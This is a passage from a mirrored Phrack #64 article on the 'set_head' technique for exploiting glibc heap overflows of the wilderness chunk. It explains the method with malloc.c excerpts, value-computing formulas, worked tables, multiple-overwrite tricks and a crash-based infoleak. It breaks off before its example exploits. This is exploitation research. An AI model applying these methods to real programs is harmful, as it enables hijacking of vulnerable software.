mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
2350 lines
84 KiB
Text
2350 lines
84 KiB
Text
_ _
|
|
_/B\_ _/W\_
|
|
(* *) Phrack #64 file 9 (* *)
|
|
| - | | - |
|
|
| | The use of set_head to defeat the wilderness | |
|
|
| | | |
|
|
| | By g463 | |
|
|
| | | |
|
|
| | jean-sebastien@guay-leroux.com | |
|
|
(________________________________________________________)
|
|
|
|
|
|
1 - Introduction
|
|
|
|
2 - The set_head() technique
|
|
2.1 - A look at the past - "The House of Force" technique
|
|
2.2 - The basics of set_head()
|
|
2.3 - The details of set_head()
|
|
|
|
3 - Automation
|
|
3.1 - Define the basic properties
|
|
3.2 - Extract the formulas
|
|
3.3 - Compute the values
|
|
|
|
4 - Limitations
|
|
4.1 - Requirements of two different techniques
|
|
4.1.1 - The set_head() technique
|
|
4.1.2 - The "House of Force" technique
|
|
4.2 - Almost 4 bytes to almost anywhere technique
|
|
4.2.1 - Everything in life is a multiple of 8
|
|
4.2.2 - Top chunk's size needs to be bigger than the requested malloc
|
|
size
|
|
4.2.3 - Logical OR with PREV_INUSE
|
|
|
|
5 - Taking set_head() to the next level
|
|
5.1 - Multiple overwrites
|
|
5.2 - Infoleak
|
|
|
|
6 - Examples
|
|
6.1 - The basic scenarios
|
|
6.1.1.1 - The most basic form of the set_head() technique
|
|
6.1.1.2 - Exploit
|
|
6.1.2.1 - Multiple overwrites
|
|
6.1.2.2 - Exploit
|
|
6.2 - A real case scenario: file(1) utility
|
|
6.2.1 - The hole
|
|
6.2.2 - All the pieces fall into place
|
|
6.2.3 - hanuman.c
|
|
|
|
7 - Final words
|
|
|
|
8 - References
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
Many papers have been published in the past describing techniques on how to
|
|
take advantage of the inbound memory management in the GNU C Library
|
|
implementation. A first technique was introduced by Solar Designer in his
|
|
security advisory on a flaw in the Netscape browser[1]. Since then, many
|
|
improvements have been made by many different individuals ([2], [3], [4],
|
|
[5], [6] just to name a few). However, there is always one situation that
|
|
gives a lot more trouble than others. Anyone who has already tried to take
|
|
advantage of that situation will agree. How to take control of a vulnerable
|
|
program when the only critical information that you can overwrite is the
|
|
header of the wilderness chunk?
|
|
|
|
The set_head technique is a new way to obtain a "write almost 4 arbitrary
|
|
bytes to almost anywhere" primitive. It was born because of a bug in the
|
|
file(1) utility that the author was unable to exploit with existing
|
|
techniques.
|
|
|
|
This paper will present the details of the technique. Also, it will show
|
|
you how to practically apply this technique to other exploits. The
|
|
limitations of the technique will also be presented. Finally, some
|
|
examples will be shown to better understand the various aspects of the
|
|
technique.
|
|
|
|
|
|
--[ 2 - The set_head() technique
|
|
|
|
Most of the time, people who write exploits using malloc techniques are not
|
|
aware of the difficulties that the wilderness chunk implies until they face
|
|
the problem. It is only at this exact time that they realize how the known
|
|
techniques (i.e. unlink, etc.) have no effect on this particular context.
|
|
|
|
As MaXX once said [3]: "The wilderness chunk is one of the most dangerous
|
|
opponents of the attacker who tries to exploit heap mismanagement. Because
|
|
this chunk of memory is handled specially by the dlmalloc internal
|
|
routines, the attacker will rarely be able to execute arbitrary code if
|
|
they solely corrupt the boundary tag associated with the wilderness chunk."
|
|
|
|
|
|
----[ 2.1 - A look at the past - "The House of Force" technique
|
|
|
|
To better understand the details of the set_head() technique explained in
|
|
this paper, it would be helpful to first understand what has already been
|
|
done on the subject of exploiting the top chunk.
|
|
|
|
This is not the first time that the exploitation of the wilderness chunk
|
|
has been specifically targeted. The pioneer of this type of exploitation
|
|
is Phantasmal Phantasmagoria.
|
|
|
|
He first wrote an article entitled "Exploiting the wilderness" about it in
|
|
2004. Details of this technique are out of scope for the current paper,
|
|
but you can learn more about it by reading his paper [5].
|
|
|
|
He gave a second try at exploiting the wilderness in his excellent paper
|
|
"Malloc Maleficarum" [4]. He named his technique "The House of Force". To
|
|
better understand the set_head() technique, the "House of Force" is
|
|
described below.
|
|
|
|
The idea behind "The House of Force" is quite simple but there are specific
|
|
steps that need to be followed. Below, you will find a brief summary of
|
|
all the steps.
|
|
|
|
|
|
Step one:
|
|
|
|
The first step in the "House of Force" consists in overflowing the size
|
|
field of the top chunk to make the malloc library think it is bigger than
|
|
it actually is. The preferred new size of the top chunk should be
|
|
0xffffffff. Below is a an ascii graphic of the memory layout at the time
|
|
of the overflow. Notice that the location of the top chunk is somewhere in
|
|
the heap.
|
|
|
|
|
|
0xbfffffff -> +-----------------+
|
|
| |
|
|
| stack |
|
|
| |
|
|
: :
|
|
: :
|
|
. .
|
|
: :
|
|
: :
|
|
| |
|
|
| |
|
|
| heap |<--- Top chunk
|
|
| |
|
|
+-----------------+
|
|
| global offset |
|
|
| table |
|
|
+-----------------+
|
|
| |
|
|
| |
|
|
| text |
|
|
| |
|
|
| |
|
|
0x08048000 -> +-----------------+
|
|
|
|
|
|
Step two:
|
|
|
|
After this, a call to malloc with a user-supplied size should be issued.
|
|
With this call, the top chunk will be split in two parts. One part will be
|
|
returned to the user, and the other part will be the remainder chunk (the
|
|
top chunk).
|
|
|
|
The purpose of this step is to move the top chunk right before a global
|
|
offset table entry. The new location of the top chunk is the sum of the
|
|
current address of the top chunk and the value of the malloc call. This
|
|
sum is done with the following line of code:
|
|
|
|
--[ From malloc.c
|
|
|
|
remainder = chunk_at_offset(victim, nb);
|
|
|
|
After the malloc call, the memory layout should be similar to the
|
|
representation below:
|
|
|
|
|
|
0xbfffffff -> +-----------------+
|
|
| |
|
|
| stack |
|
|
| |
|
|
: :
|
|
: :
|
|
. .
|
|
: :
|
|
: :
|
|
| |
|
|
| |
|
|
| heap |
|
|
| |
|
|
+-----------------+
|
|
| global offset |
|
|
| table |
|
|
+-----------------+<--- Top chunk
|
|
| |
|
|
| |
|
|
| text |
|
|
| |
|
|
| |
|
|
0x08048000 -> +-----------------+
|
|
|
|
|
|
Step three:
|
|
|
|
Finally, another call to malloc needs to be done. This one needs to be
|
|
large enough to trigger the top chunk code. If the user has some sort of
|
|
control over the content of this buffer, he can then overwrite entries
|
|
inside the global offset table and he can seize control of the process.
|
|
Look at the following representation for the current memory layout at the
|
|
time of the allocation:
|
|
|
|
|
|
0xbfffffff -> +-----------------+
|
|
| |
|
|
| stack |
|
|
| |
|
|
: :
|
|
: :
|
|
. .
|
|
: :
|
|
: :
|
|
| |
|
|
| |
|
|
| heap |<---- Top chunk
|
|
| |---+
|
|
+-----------------+ |
|
|
| global offset | |- Allocated memory
|
|
| table | |
|
|
+-----------------+---+
|
|
| |
|
|
| |
|
|
| text |
|
|
| |
|
|
| |
|
|
0x08048000 -> +-----------------+
|
|
|
|
|
|
----[ 2.2 - The basics of set_head()
|
|
|
|
Now that the basic review of the "House of Force" technique is done, let's
|
|
look at the set_head() technique. The basic idea behind this technique is
|
|
to use the set_head() macro to write almost four arbitrary bytes to almost
|
|
anywhere in memory. This macro is normally used to set the value of the
|
|
size field of a memory chunk to a specific value. Let's have a peak at the
|
|
code:
|
|
|
|
--[ From malloc.c:
|
|
|
|
/* Set size/use field */
|
|
#define set_head(p, s) ((p)->size = (s))
|
|
|
|
|
|
This line is very simple to understand. It takes the memory chunk 'p',
|
|
modifies its size field and replace it with the value of the variable 's'.
|
|
If the attacker has control of those two parameters, it may be possible to
|
|
modify the content of an arbitrary memory location with a value that he
|
|
controls.
|
|
|
|
To trigger the particular call to set_head() that could lead to this
|
|
arbitrary overwrite, two specific steps need to be followed. These steps
|
|
are described below.
|
|
|
|
|
|
First step:
|
|
|
|
The first step of the set_head() technique consists in overflowing the size
|
|
field of the top chunk to make the malloc library think it is bigger than
|
|
it actually is. The specific value that you will overwrite with will
|
|
depend on the parameters of the exploitable situation. Below is an ascii
|
|
graphic of the memory layout at the time of the overflow. Notice that the
|
|
location of the top chunk is somewhere in the heap.
|
|
|
|
|
|
0xbfffffff -> +-----------------+
|
|
| |
|
|
| stack |
|
|
| |
|
|
: :
|
|
: :
|
|
. .
|
|
: :
|
|
: :
|
|
| |
|
|
| |
|
|
| heap |<--- Top chunk
|
|
| |
|
|
+-----------------+
|
|
| |
|
|
| data |
|
|
| |
|
|
+-----------------+
|
|
| |
|
|
| |
|
|
| text |
|
|
| |
|
|
| |
|
|
0x08048000 -> +-----------------+
|
|
|
|
|
|
Second step:
|
|
|
|
After this, a call to malloc with a user-supplied size should be issued.
|
|
With this call, the top chunk will be split in two parts. One part will be
|
|
returned to the user, and the other part will be the remainder chunk (the
|
|
top chunk).
|
|
|
|
The purpose of this step is to move the top chunk before the location that
|
|
you want to overwrite. This location needs to be on the stack, and you
|
|
will see why at section 4.2.2. During this step, the malloc code will set
|
|
the size of the new top chunk with the set_head() macro. Look at the
|
|
representation below to better understand the memory layout at the time of
|
|
the overwrite:
|
|
|
|
|
|
0xbfffffff -> +-----------------+
|
|
| |
|
|
| stack |
|
|
| |
|
|
+-----------------+
|
|
| size of topchunk|
|
|
+-----------------+
|
|
|prev_size not use|
|
|
+-----------------+<--- Top chunk
|
|
| |
|
|
: :
|
|
: :
|
|
. .
|
|
: :
|
|
: :
|
|
| |
|
|
| |
|
|
| heap |
|
|
| |
|
|
+-----------------+
|
|
| |
|
|
| data |
|
|
| |
|
|
+-----------------+
|
|
| |
|
|
| |
|
|
| text |
|
|
| |
|
|
| |
|
|
0x08048000 -> +-----------------+
|
|
|
|
|
|
If you control the new location of the top chunk and the new size of the
|
|
top chunk, you can get a "write almost 4 arbitrary bytes to almost
|
|
anywhere" primitive.
|
|
|
|
|
|
----[ 2.3 - The details of set_head()
|
|
|
|
The set_head macro is used many times in the malloc library. However, it's
|
|
used at a particularly interesting emplacement where it's possible to
|
|
influence its parameters. This influence will let the attacker overwrite 4
|
|
bytes in memory with a value that he can control.
|
|
|
|
When there is a call to malloc, different methods are tried to allocate the
|
|
requested memory. MaXX did a pretty great job at explaining the malloc
|
|
algorithm in section 3.5.1 of his text[3]. Reading his text is highly
|
|
suggested before continuing with this text. Here are the main points of
|
|
the algorithm:
|
|
|
|
1. Try to find a chunk in the bin corresponding to the size of the
|
|
request;
|
|
|
|
2. Try to use the remainder chunk;
|
|
|
|
3. Try to find a chunk in the regular bins.
|
|
|
|
|
|
If those three steps fail, interesting things happen. The malloc function
|
|
tries to split the top chunk. The 'use_top' code portion is then called.
|
|
It's in that portion of code that it's possible to take advantage of a call
|
|
to set_head(). Let's analyze the use_top code:
|
|
|
|
--[ From malloc.c
|
|
|
|
01 Void_t*
|
|
02 _int_malloc(mstate av, size_t bytes)
|
|
03 {
|
|
04 INTERNAL_SIZE_T nb; /* normalized request size */
|
|
05
|
|
06 mchunkptr victim; /* inspected/selected chunk */
|
|
07 INTERNAL_SIZE_T size; /* its size */
|
|
08
|
|
09 mchunkptr remainder; /* remainder from a split */
|
|
10 unsigned long remainder_size; /* its size */
|
|
11
|
|
12
|
|
13 checked_request2size(bytes, nb);
|
|
14
|
|
15 [ ... ]
|
|
16
|
|
17 use_top:
|
|
18
|
|
19 victim = av->top;
|
|
20 size = chunksize(victim);
|
|
21
|
|
22 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
|
|
23 remainder_size = size - nb;
|
|
24 remainder = chunk_at_offset(victim, nb);
|
|
25 av->top = remainder;
|
|
26 set_head(victim, nb | PREV_INUSE |
|
|
27 (av != &main_arena ? NON_MAIN_ARENA : 0));
|
|
28 set_head(remainder, remainder_size | PREV_INUSE);
|
|
29
|
|
30 check_malloced_chunk(av, victim, nb);
|
|
31 return chunk2mem(victim);
|
|
32 }
|
|
|
|
|
|
All the magic happens at line 28. By forcing a particular context inside
|
|
the application, it's possible to control set_head's parameters and then
|
|
overwrite almost any memory addresses with almost four arbitrary bytes.
|
|
|
|
Let's see how it's possible to control these two parameters, which are
|
|
'remainder' and 'remainder_size' :
|
|
|
|
|
|
1. How to get control of 'remainder_size':
|
|
|
|
a. At line 13, 'nb' is filled with the normalized size of the
|
|
value of the malloc call. The attacker should have control
|
|
on the value of this malloc call.
|
|
|
|
b. Remember that this technique requires that the size field of
|
|
the top chunk needs to be overwritten by the overflow. At
|
|
line 19 & 20, the value of the overwritten size field of the
|
|
top chunk is getting loaded in 'size'.
|
|
|
|
c. At line 22, a check is done to ensure that the top chunk is
|
|
large enough to take care of the malloc request. The
|
|
attacker needs that this condition evaluates to true to reach
|
|
the set_head() macro at line 28.
|
|
|
|
d. At line 23, the requested size of the malloc call is
|
|
subtracted from the size of the top chunk. The remaining
|
|
value is then stored in 'remainder_size'.
|
|
|
|
|
|
2. How to get control of 'remainder':
|
|
|
|
a. At line 13, 'nb' is filled with the normalized size of the
|
|
value of the malloc call. The attacker should have control
|
|
of the value of this malloc call.
|
|
|
|
b. Then, at line 19, the variable 'victim' gets filled with the
|
|
address of the top chunk.
|
|
|
|
c. After this, at line 24, chunk_at_offset() is called. This
|
|
macro adds the content of 'nb' to the value of 'victim'. The
|
|
result will be stored in 'remainder'.
|
|
|
|
|
|
Finally, at line 28, the set_head() macro modifies the size field of the
|
|
fake remainder chunk and fills it with the content of the variable
|
|
'remainder_size'. This is how you get your "write almost 4 arbitrary bytes
|
|
to almost anywhere in memory" primitive.
|
|
|
|
|
|
--[ 3 - Automation
|
|
|
|
It was explained in section 2.3 that the variables 'remainder' and
|
|
'remainder_size' will be used as parameters to the set_head macro. The
|
|
following steps will explain how to proceed in order to get the desired
|
|
value in those two variables.
|
|
|
|
|
|
----[ 3.1 - Define the basic properties
|
|
|
|
Before trying to exploit a security hole with the set_head technique, the
|
|
attacker needs to define the parameters of the vulnerable context. These
|
|
parameters are:
|
|
|
|
1. The return location: This is the location in memory that you
|
|
want to write to. It is often referred as 'retloc' through this
|
|
paper.
|
|
|
|
2. The return address: This is the content that you will write to
|
|
your return location. Normally, this will be a memory address
|
|
that points to your shellcode. It is often referred as 'retadr'
|
|
through this paper.
|
|
|
|
3. The location of the topchunk: To use this technique, you must
|
|
know the exact position of the top chunk in memory. This
|
|
location is often referred as 'toploc' through this paper.
|
|
|
|
|
|
----[ 3.2 - Extract the formulas
|
|
|
|
The attacker has control on two things during the exploitation stage.
|
|
First, the content of the overwritten top chunk's size field and secondly,
|
|
the size parameter to the malloc call. The values that the attacker
|
|
chooses for these will determine the exact content of the variables
|
|
'remainder' and 'remainder_size' later used by the set_head() macro.
|
|
|
|
Below, two formulas are presented to help the attacker find the appropriate
|
|
values.
|
|
|
|
|
|
1. How to get the value for the malloc parameter:
|
|
|
|
a. The following line is taken directly from the malloc.c code:
|
|
|
|
remainder = chunk_at_offset(victim, nb)
|
|
|
|
b. 'nb' is the normalized value of the malloc call. It's the
|
|
result of the macro request2size(). To make things simpler,
|
|
let's add 8 to this value to take care of this macro:
|
|
|
|
remainder = chunk_at_offset(victim, nb + 8)
|
|
|
|
c. chunk_at_offset() adds the normalized size 'nb' to the top
|
|
chunk's location:
|
|
|
|
remainder = toploc + (nb + 8)
|
|
|
|
e. 'remainder' is the return location (i.e. 'retloc') and 'nb'
|
|
is the malloc size (i.e. 'malloc_size'):
|
|
|
|
retloc = toploc + (malloc_size + 8)
|
|
|
|
d. Isolate the 'malloc_size' variable to get the final formula:
|
|
|
|
malloc_size = (retloc - toploc - 8)
|
|
|
|
|
|
2. The second formula is how to get the new size of the top chunk.
|
|
|
|
a. The following line is taken directly from the malloc.c code:
|
|
|
|
remainder_size = size - nb;
|
|
|
|
b. 'size' is the size of the top chunk (i.e. 'topchunk_size'),
|
|
and 'nb' is the normalized parameter of the malloc call
|
|
(i.e. 'malloc_size'):
|
|
|
|
remainder_size = topchunk_size - malloc_size
|
|
|
|
c. 'remainder_size' is in fact the return address
|
|
(i.e. retadr'):
|
|
|
|
retadr = topchunk_size - malloc_size
|
|
|
|
d. Isolate 'topchunk_size' to get the final formula:
|
|
|
|
topchunk_size = retadr + malloc_size
|
|
|
|
e. topchunk_size will get its three least significant bits
|
|
cleared by the macro chunksize(). Let's consider this in the
|
|
formula by adding 8 to the right side of the equation:
|
|
|
|
topchunk_size = (retadr + malloc_size + 8)
|
|
|
|
g. Take into consideration that the PREV_INUSE flag is being set
|
|
in the set_head() macro:
|
|
|
|
topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE
|
|
|
|
|
|
----[ 3.3 - Compute the values
|
|
|
|
You now have the two basic formulas:
|
|
|
|
1. malloc_size = (retloc - toploc - 8)
|
|
|
|
2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE
|
|
|
|
You can now proceed with finding the exact values that you will plug into
|
|
your exploit.
|
|
|
|
To facilitate the integration of those formulas in your exploit code, you
|
|
can use the set_head_compute() function found in the file(1) utility
|
|
exploit code (refer to section 6.2.3). Here is the prototype of the
|
|
function:
|
|
|
|
struct sethead * set_head_compute
|
|
(unsigned int retloc, unsigned int retadr, unsigned int toploc)
|
|
|
|
|
|
The structure returned by the function set_head_compute() is defined this
|
|
way:
|
|
|
|
struct sethead {
|
|
unsigned long topchunk_size;
|
|
unsigned long malloc_size;
|
|
}
|
|
|
|
|
|
By giving this function your return location, your return address and your
|
|
top chunk location, it will compute the exact malloc size and top chunk
|
|
size to use in your exploit. It will also tell you if it's possible to
|
|
execute the requested write operation based on the return address and the
|
|
return location you have chosen.
|
|
|
|
|
|
--[ 4 - Limitations
|
|
|
|
At the time of writing this paper, there was no simple and easy way to
|
|
exploit a heap overflow when the top chunk is involved. Each exploitation
|
|
technique needs a particular context to work successfully. The set_head
|
|
technique is no different. It has some requirements to work properly.
|
|
|
|
Also, it's not a real "write 4 arbitrary bytes to anywhere" primitive. In
|
|
fact, it would be more of a "write almost 4 arbitrary bytes to almost
|
|
anywhere in memory" primitive.
|
|
|
|
|
|
----[ 4.1 - Requirements of two different techniques
|
|
|
|
Specific elements need to be present to exploit a situation in which the
|
|
wilderness chunk is involved. These elements tend to impose a lot of
|
|
constraints when trying to exploit a program. Below, the requirements for
|
|
the set_head technique are listed, alongside those of the "House of Force"
|
|
technique. As you will see, each technique has its pros and cons.
|
|
|
|
|
|
------[ 4.1.1 - The set_head() technique
|
|
|
|
Minimum requirements:
|
|
|
|
1. The size field of the topchunk needs to be overwritten with a
|
|
value that the attacker can control;
|
|
|
|
2. Then, there is a call to malloc with a parameter that the
|
|
attacker can control;
|
|
|
|
This technique will let you write almost 4 arbitrary bytes to almost
|
|
anywhere.
|
|
|
|
|
|
------[ 4.1.2 The "House of Force" technique
|
|
|
|
Minimum requirements:
|
|
|
|
1. The size field of the topchunk must be overwritten with a very
|
|
large value;
|
|
|
|
2. Then, there must be a first call to malloc with a very large
|
|
size. An important point is that this same allocated buffer
|
|
should only be freed after the third step.
|
|
|
|
3. Finally, there should be a second call to malloc. This buffer
|
|
should then be filled with some user supplied data.
|
|
|
|
This technique will, in the best-case scenario, let you overwrite any
|
|
region in memory with a string of an arbitrary length that you control.
|
|
|
|
|
|
----[ 4.2 - Almost 4 bytes to almost anywhere technique
|
|
|
|
This set_head technique is not really a "write 4 arbitrary bytes anywhere
|
|
in memory" primitive. There are some restrictions in malloc.c that greatly
|
|
limit the possible values an attacker can use for the return location and
|
|
the return address in an exploit. Still, it's possible to run arbitrary
|
|
code if you carefully choose your values.
|
|
|
|
Below you will find the three main restrictions of this technique:
|
|
|
|
|
|
------[ 4.2.1 - Everything in life is a multiple of 8
|
|
|
|
A disadvantage of the set_head technique is the presence of macros that
|
|
ensure memory locations and values are a multiple of 8 bytes. These macros
|
|
are:
|
|
|
|
- checked_request2size() and
|
|
- chunksize()
|
|
|
|
Ultimately, this will have some influence on the selection of the return
|
|
location and the return address.
|
|
|
|
The memory addresses that you can overwrite with the set_head technique
|
|
need to be aligned on a 8 bytes boundary. Interesting locations to
|
|
overwrite on the stack usually include a saved EIP of a stack frame or a
|
|
function pointer. These pointers are aligned on a 4 bytes boundary, so with
|
|
this technique, you will be able to modify one memory address on two.
|
|
|
|
The return address will also need to be a multiple of 8 (not counting the
|
|
logical OR with PREV_INUSE). Normally, the attacker has the possibility of
|
|
providing a NOP cushion right before his shellcode, so this is not really a
|
|
big issue.
|
|
|
|
|
|
------[ 4.2.2 - Top chunk's size needs to be bigger than the requested
|
|
malloc size
|
|
|
|
This is the main disadvantage of the set_head technique. For the top chunk
|
|
code to be triggered and serve the memory request, there is a verification
|
|
before the top chunk code is executed:
|
|
|
|
--[ From malloc.c
|
|
|
|
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
|
|
|
|
In short, this line requires that the size of the top chunk is bigger than
|
|
the size requested by the malloc call. Since the variable 'size' and 'nb'
|
|
are computed from the return location, the return address and the top
|
|
chunk's location, it will greatly limit the content and the location of the
|
|
arbitrary overwrite operation. There is still a valid combination of a
|
|
return address and a return location that exists.
|
|
|
|
Let's see what the value of 'size' and 'nb' for a given return location and
|
|
return address will be. Let's find out when there is a situation in which
|
|
'size' is greater than 'nb'. Consider the fact that the location of the
|
|
top chunk is static and it's at 0x080614f8:
|
|
|
|
+------------+------------++------------+------------+
|
|
| return | return || size | nb |
|
|
| location | address || | |
|
|
+------------+------------++------------+------------+
|
|
| 0x0804b150 | 0x08061000 || 134523993 | 4294876240 |
|
|
| 0x0804b150 | 0xbffffbaa || 3221133059 | 4294876240 |
|
|
| 0xbffffaaa | 0xbffffbaa || 2012864861 | 3086607786 |
|
|
| 0xbffffaaa | 0x08061000 || 3221222835 | 3086607786 | <- !!!!!
|
|
+------------+------------++------------+------------+
|
|
|
|
As you can see from this chart, the only time that you get a situation
|
|
where 'size' is greater than 'nb' is when your return location is somewhere
|
|
in the stack and when your return address is somewhere in the heap.
|
|
|
|
|
|
------[ 4.2.3 - Logical OR with PREV_INUSE
|
|
|
|
When the set_head macro is called, 'remainder_size', which is the return
|
|
address, will be altered by a logical OR with the flag PREV_INUSE:
|
|
|
|
--[ From malloc.c
|
|
|
|
#define PREV_INUSE 0x1
|
|
|
|
set_head(remainder, remainder_size | PREV_INUSE);
|
|
|
|
It was said in section 4.2.1 that the return address will always be a
|
|
multiple of 8 bytes due to the normalisation of some macros. With the
|
|
PREV_INUSE logical OR, it will be a multiple of 8 bytes, plus 1. With an
|
|
NOP cushion, this problem is solved. Compared to the previous two, this
|
|
restriction is a very small one.
|
|
|
|
|
|
--[ 5 - Taking set_head() to the next level
|
|
|
|
As a general rule, hackers try to make their exploit as reliable as
|
|
possible. Exploiting a vulnerability in a confined lab and in the wild are
|
|
two different things. This section will try to present some techniques to
|
|
improve the reliability of the set_head technique.
|
|
|
|
|
|
----[ 5.1 - Multiple overwrites
|
|
|
|
One way to make the exploitation process a lot more reliable is by using
|
|
multiple overwrites. Indeed, having the possibility of overwriting a
|
|
memory location with 4 bytes is good, but the possibility to write multiple
|
|
times to memory is even better[8]. Being able to overwrite multiple memory
|
|
locations with set_head will increase your chance of finding a valid return
|
|
location on the stack.
|
|
|
|
A great advantage of the set_head technique is that it does not corrupt
|
|
internal malloc information in a way that prevents the program from working
|
|
properly. This advantage will let you safely overwrite more than one
|
|
memory location.
|
|
|
|
To correctly put this technique in place, the attacker will need to start
|
|
overwriting addresses at the top of the stack, and go downward until he
|
|
seizes control of the program. Here are the possible addresses that
|
|
set_head() lets you overwrite on the stack:
|
|
|
|
1: 0xbffffffc
|
|
2: 0xbffffff4
|
|
3: 0xbfffffec
|
|
4: 0xbfffffe4
|
|
5: 0xbfffffdc
|
|
6: 0xbfffffd4
|
|
7: 0xbfffffcc
|
|
8: 0xbfffffc4
|
|
9: ...
|
|
|
|
Eventually, the attacker will fall on a memory location which is a saved
|
|
EIP in a stack frame. If he's lucky enough, this new saved EIP will be
|
|
popped in the EIP register.
|
|
|
|
Remember that for a successfull overwrite, the attacker needs to do two
|
|
things:
|
|
|
|
1. Overwrite the top chunk with a specific value;
|
|
2. Make a call to malloc with a specific value.
|
|
|
|
Based on the formulas that were found in section 3.3, let's compute the
|
|
values for the top chunk size and the size for the malloc call for each
|
|
overwrite operation. Let's take the following values for an example case:
|
|
|
|
The location of the top chunk: 0x08050100
|
|
The return address: 0x08050200
|
|
The return location: Decrementing from 0xbffffffc
|
|
to 0xbfffffc4
|
|
|
|
+------------++------------+------------+
|
|
| return || top chunk | malloc |
|
|
| location || size | size |
|
|
+------------++------------+------------+
|
|
+------------++------------+------------+
|
|
| 0xbffffffc || 3221225725 | 3086679796 |
|
|
| 0xbffffff4 || 3221225717 | 3086679788 |
|
|
| 0xbfffffec || 3221225709 | 3086679780 |
|
|
| 0xbfffffe4 || 3221225701 | 3086679772 |
|
|
| 0xbfffffdc || 3221225693 | 3086679764 |
|
|
| 0xbfffffd4 || 3221225685 | 3086679756 |
|
|
| 0xbfffffcc || 3221225677 | 3086679748 |
|
|
| 0xbfffffc4 || 3221225669 | 3086679740 |
|
|
| ... || ... | ... |
|
|
+------------++------------+------------+
|
|
|
|
By looking at this chart, you can determine that for each overwrite
|
|
operation, the attacker would need to overwrite the size of the top chunk
|
|
with a new value and make a call to malloc with an arbitrary value. Would
|
|
it be possible to improve this a little bit? It would be great if the only
|
|
thing you needed to change between each overwrite operation was the size of
|
|
the malloc call, leaving the size of the top chunk untouched.
|
|
|
|
Indeed, it's possible. Look closely at the functions used to compute
|
|
malloc_size and topchunk_size. Let's say the attacker has only one
|
|
possibility to overwrite the size of the top chunk, would it still be
|
|
possible to do multiple overwrites using the set_head technique while
|
|
keeping the same size for the top chunk?
|
|
|
|
1. malloc_size = (retloc - toploc - 8)
|
|
2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE
|
|
|
|
If you look at how 'topchunk_size' is computed, it seems possible. By
|
|
changing the value of 'retloc', it will affect 'malloc_size'. Then,
|
|
'malloc_size' is used to compute 'topchunk_size'. By playing with 'retadr'
|
|
in the second formula, you can always hit the same 'topchunk_size'. Let's
|
|
look at the same example, but this time with a changing return address.
|
|
While the return location is decrementing by 8, let's increment the return
|
|
address by 8.
|
|
|
|
|
|
+------------+-----------++------------+------------+
|
|
| return | return || top chunk | malloc |
|
|
| location | address || size | size |
|
|
+------------+-----------++------------+------------+
|
|
+------------+-----------++------------+------------+
|
|
| 0xbffffffc | 0x8050200 || 3221225725 | 3086679796 |
|
|
| 0xbffffff4 | 0x8050208 || 3221225725 | 3086679788 |
|
|
| 0xbfffffec | 0x8050210 || 3221225725 | 3086679780 |
|
|
| 0xbfffffe4 | 0x8050218 || 3221225725 | 3086679772 |
|
|
| 0xbfffffdc | 0x8050220 || 3221225725 | 3086679764 |
|
|
| 0xbfffffd4 | 0x8050228 || 3221225725 | 3086679756 |
|
|
| 0xbfffffcc | 0x8050230 || 3221225725 | 3086679748 |
|
|
| 0xbfffffc4 | 0x8050238 || 3221225725 | 3086679740 |
|
|
| ... | ... || ... | ... |
|
|
+------------+-----------++------------+------------+
|
|
|
|
You can see that the size of the top chunk is always the same. On the
|
|
other hand, the return address changes through the multiple overwrites.
|
|
The attacker needs to have an NOP cushion big enough to adapt to this
|
|
variation.
|
|
|
|
Refer to section 6.1.2.1 to get a sample vulnerable scenario exploitable
|
|
with multiple overwrites.
|
|
|
|
|
|
----[ 5.2 - Infoleak
|
|
|
|
As was stated in the Shellcoder's Handbook[9]: "An information leak can
|
|
make even a difficult bug possible". Most of the time, people who write
|
|
exploits try to make them as reliable as possible. If hackers, using an
|
|
infoleak technique, can improve the reliability of the set_head technique,
|
|
well, that's pretty good. The technique is already hard to use because it
|
|
relies on unknown memory locations, which are:
|
|
|
|
- The return location
|
|
- The top chunk location
|
|
- The return address
|
|
|
|
When there is an overwrite operation, if the attacker is able to tell if
|
|
the program has crashed or not, he can turn this to his advantage. Indeed,
|
|
this knowledge could help him find one parameter of the exploitable
|
|
situation, which is the top chunk location.
|
|
|
|
The theory behind this technique is simple. If the attacker has the real
|
|
address of the top chunk, he will be able to write at the address
|
|
0xbffffffc but not at the address 0xc0000004.
|
|
|
|
Indeed, a write operation at the address 0xbffffffc will work because this
|
|
address is in the stack and its purpose is to store the environment
|
|
variables of the program. It does not significantly affect the behaviour
|
|
of the program, so the program will still continue to run normally.
|
|
|
|
On the other hand, if the attacker wrote in memory starting from
|
|
0xc0000000, there will be a segmentation fault because this memory region
|
|
is not mapped. After this violation, the program will crash.
|
|
|
|
To take advantage of this behaviour, the attacker will have to do a series
|
|
of write operations while incrementing or decrementing the location of the
|
|
top chunk. For each top chunk location tried, there should be 6 write
|
|
operations.
|
|
|
|
Below, you will find the parameters of the exploitable situation to use
|
|
during the 6 write operations. The expected result is in the right column
|
|
of the chart. If you get these results, then the value used for the
|
|
location of the top chunk is the right one.
|
|
|
|
+------------+------------++--------------+
|
|
| return | return || Did it |
|
|
| location | address || segfault ? |
|
|
+------------+------------++--------------+
|
|
+------------+------------++--------------+
|
|
| 0xc0000014 | 0x07070707 || Yes |
|
|
| 0xc000000c | 0x07070707 || Yes |
|
|
| 0xc0000004 | 0x07070707 || Yes |
|
|
| 0xbffffffc | 0x07070707 || No |
|
|
| 0xbffffff4 | 0x07070707 || No |
|
|
| 0xbfffffec | 0x07070707 || No |
|
|
+------------+------------++--------------+
|
|
|
|
If the six write operations made the program segfault each time, then the
|
|
attacker is probably writing after 0xbfffffff or below the limit of the
|
|
stack.
|
|
|
|
If the 6 write operations succeeded and the program did not crash, then it
|
|
probably means that the attacker overwrote some values in the stack. In
|
|
that case, decrement the value of the top chunk location to use.
|
|
|
|
|
|
--[ 6 - Examples
|
|
|
|
The best way to learn something new is probably with the help of examples.
|
|
Below, you will find some vulnerable codes and their exploits.
|
|
|
|
A scenario-based approach is taken here to demonstrate the exploitability
|
|
of a situation. Ultimately, the exploitability of a context can be defined
|
|
by specific characterictics.
|
|
|
|
Also, the application of the set_head() technique on a real life example is
|
|
shown with the file(1) utility vulnerability. The set_head technique was
|
|
found to exploit this specific vulnerability.
|
|
|
|
|
|
----[ 6.1 - The basic scenarios
|
|
|
|
